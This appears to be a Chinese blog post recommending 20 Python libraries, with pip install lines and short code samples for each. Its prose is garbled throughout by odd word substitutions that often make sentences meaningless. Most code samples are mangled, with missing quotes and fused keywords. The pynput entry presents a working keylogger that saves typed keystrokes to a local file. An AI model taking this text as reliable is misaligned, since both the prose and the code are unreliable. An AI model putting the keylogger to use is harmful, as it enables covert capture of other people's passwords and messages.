你必须尝试的20个 Python 库

2023-05-29 0 502

Python 是程式设计应用领域中最常见的程式设计词汇众所周知,也是新手的最差优先选择众所周知。Python 招揽现代人的地方性是它的单纯性和功能强大的句法。是两个意译词汇,因此它显得更容易辨认出标识符中的严重错误。它是由 Guido van Rossum 合作开发的,并于1991年首度正式发布,从那以后,Python 合作开发人员街道社区的数目有增无减,数目为数众多。依照许多天然资源,python 有两个少于1000Bazas的街道社区。Google、Amazon、 Facebook 等数千万家子公司都在采用它。

在往后的两年pulchre我始终在采用 Python,我最喜欢 Python 的地方性是它的 One-Liners 和 Packages,这也是我优先选择 Python 而并非其它词汇的其原因。

在本网志中,我将向您如是说20个十分管用的 Python 库,您要试著它。让他们已经开始吧。

1. Colorama

Colorama 是两个用以使你的终端产品看上去更快 Python 库,它能用以给终端产品加进色调。

加装:pip install colorama

你必须尝试的20个 Python 库

实例

2. Pynput

此库用作掌控滑鼠和按键等输入输出的一瞬间。采用许多单纯的标识符行,他们能采用流程库掌控按键和滑鼠。此库的最差插件是采用它建立两个KParts流程。上面的标识符说明了采用库的KParts器的同时实现。

加装:pip install Pynput

from pynput.keyboard importKey, Controller,Listenerimport time keyboard = Controller() keys=[] def on_press(key): globalkeys string = str(key).replace(“”,“”) keys.append(string) main_string = “”.join(keys) print(main_string) iflen(main_string)>15: with open(keys.txt, a) as f: f.write(main_string) keys= [] def on_release(key): if key == Key.esc: return False with Listener(on_press=on_press,on_release=on_release) aslistener: listener.join()

3. progress 和 tqdm

Progress采用这个库,他们能轻松地建立两个进度条。

加装:pip 加装进度

from progress.bar importBar bar = Bar(Loading, max=20) for i in range(20): # Any Task bar.next() bar.finish()

上面的动画显示了他们能采用进度建立不同的条形图。

你必须尝试的20个 Python 库

tqdm:它也做类似的工作,但是看上去更有效率,并且与现代程式设计保持同步。

加装:pip install tqdm

4. google trans

Googletrans 是两个免费的无限制的 python 库,它是 Google 翻译 API 的两个同时实现。采用这个库,只需要几行标识符就能建立两个词汇翻译器。

加装:pip install googletrans

from googletrans import Translator , LANGUAGES from googletrans.models importTranslated language = list(LANGUAGES.values()) translator = Translator() translated=translator.translate(text=“How are You??”, src = english, dest = hindi) print(translated)

您还能进一步建立两个 GUI,将一种词汇翻译成另一种词汇。

5. google

Google库允许你搜索两个查询,找到相关的链接,并返回所有的链接。他们还能自定义要返回的链接数量。

加装:pip install google

from googlesearch import search query = what is machine learning? for j in search(query, tld=“co.in”, num=1, stop=5, pause=2): ## it will return a total of 5 links print(j)

6. Pillow

Pillow 是两个用作图像处理的 python 库。它能用以建立缩略图,转换文件格式,旋转,应用过滤器,显示图像,等等。如果您希望批量执行任务,那么它是两个理想的库。

加装:pip install pillow

为了快速了解这个库,上面是许多标识符,您能显示两个图像并将其更改为灰度。

from PIL importImage, ImageOps img1 = Image.open(“img.png”) ## Load a imge img1.show() img2 = ImageOps.grayscale(img1) ## gray scaleimg2.show()
你必须尝试的20个 Python 库

原始图像向灰度的转换

7. wikipedia

Wikipedia 库允许他们通过 Python 脚本与 Wikipedia 进行交互。通过这个,他们能在终端产品上搜索任何东西。

加装:pip install wikipedia

import wikipedia query = Narendra Modi results = wikipedia.summary(query, sentences=2)## change the number of sentence to get a larger words summary print(results)

8. SpeechRecognition

SpeechRecognition 是两个用作识别语音并将其转换为文本的 Python 库。它在几个引擎和 api 的支持下识别语音。它甚至能在离线模式下工作。

加装:pip install SpeechRecognition

上面的标识符能识别您的声音,将其转换成文本,然后在终端产品上打印出来。

import speech_recognition assr r = sr.Recognizer() with sr.Microphone()as source: t_end = time.time() + 5 while time.time() < t_end: print(“karl: Listening…”) audio=r.listen(source) try: query = r.recognize_google(audio) print(f“user:{query}”) except” print(“Try Again“)

9. IPython

你必须尝试的20个 Python 库

这个库为他们提供了在终端产品、 Qt 掌控台和通过 HTML 笔记本采用 IPython shell 的特性。这是三星笔记本的核心。你能在这里找到完整的文档。上面我列出了许多 IPython 的特性。

全面的对象自省输入历史记录,跨会话持久化在采用自动生成的引用的会话期间缓存输出结果可扩展选项卡完成,默认支持完成 Python 变量和关键字、文件名和函数关键字可扩展的“magic”命令系统,用作掌控环境和执行与 IPython 或操作系统相关的许多任务会话日志记录和重载针对特殊情况的可扩展句法处理采用用户可扩展别名系统访问系统 shell很容易嵌入到其它 Python 流程和 GUI 中调试器和 Python 分析器的集成访问

10. wxpython

你必须尝试的20个 Python 库

wxPython 是两个用作 python 的 GUI 工具包。它是许多计算机软件的强大包装器,能在各种不同的平台上同时实现。它是两个跨平台的库。许多合作开发人员辨认出 wxPython 作为 Tkinter 的最差替代品十分有效。

11. Poetry

这是两个单纯功能强大的 Python 软件包。它允许您管理 Python 打包和项目的版本掌控。虽然你的项目依赖于许多库,但是 Poetry 能让你很容易地掌控它。

加装:pip install poetry

你必须尝试的20个 Python 库

12. Pygame

Pygame 是许多 python 合作开发人员的最爱。它用作采用 Python 建立游戏。它是两个跨平台的库,几乎能在每个平台上采用。尽管它是两个成熟的游戏引擎,但您也能采用这个库直接从 Python 脚本播放 MP3文件。它由计算机图形学和声音库组成。

在 PyGame 上编写的游戏和插件与所有 SDL 支持的操作系统兼容。它也能在机器人和平板电脑上运行。

加装:pip install pygame

PyGame 有自己的网站 PyGame. org,其中包括教程和加装说明。

13. Text Blob

TextBlob 是两个用作处理文本数据的 Python 库。它提供了两个单纯的 API,用作深入研究常见的自然词汇处理(NLP)任务,如词性标注、名词短语提取、情感分析、分类、翻译等。

加装:pip install textblob

from textblob importTextBlob testimonial = TextBlob(“Textblob is amazingly simple to use. What great fun!”) testimonial.sentiment

14. OpenCV

你必须尝试的20个 Python 库

OpenCV 是计算机视觉应用领域最受欢迎的库。它最初是用 C 和 C++ 编写的。现在也能在 Python 中采用。它最初是由英特尔合作开发的。该库是一

加装:pip install opencv-python

15. win10 toast

它是两个易于采用的 Python 库,用作显示 Windows 10 Toast Notifications,这对于 Windows GUI 合作开发十分管用。

加装:pip install win10toast

应用:建立提醒插件

from win10toast import ToastNotifier toaster = ToastNotifier() header = Medium Article text = Its the correct time to start writing your article toaster.show_toast(f”{header},f”{text},duration=10,threaded=True) while toaster.notification_active(): time.sleep(0.005)
你必须尝试的20个 Python 库

16. playsound

顾名思义,这个库用作在 Python 中播放音频文件。

加装:pip install playsound

应用: 采用 Python 建立音乐播放器

from playsound import playsound playsound(PATH_TO_AUDIO_FILE)

17. webbrowser

这个 Python 包用作与网络浏览器交互。它用作在用户从命令行给出的浏览器中打开不同的链接。

加装:pip install webbrowser

应用:自动化你的日常工作应用

import webbrowser webbrowser.open(“https://stackoverflow.com”)

18. Python-dateutil

这个 Python 库是 Python datetime 模块的扩展,它提供了大量的特性和功能。

加装:pip install python-dateutil

fromdateutil.relativedeltaimport * from dateutil.easter import * from dateutil.rrule import * from dateutil.parser import * from datetime import * now = parse(“Tue 11 17:13:46 Dec UTC 2020”) today = now.date() year = rrule(YEARLY,dtstart=now,bymonth=8,bymonthday=13,byweekday=FR)[0].year rdelta = relativedelta(easter(year), today)print(“Today is: %s” % today)

19. Setuptools

这个 Python 库是 Python 中所有库的父类,它用作在 Python 中建立库。

加装:pip install setuptools

20. pyfiglet

Pyfiglet Python 库用作在终端产品中编写时髦的文本。这是我在建立 CLI 插件是最喜欢采用的软件包众所周知。

加装:pip install pyfiglet

你必须尝试的20个 Python 库

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务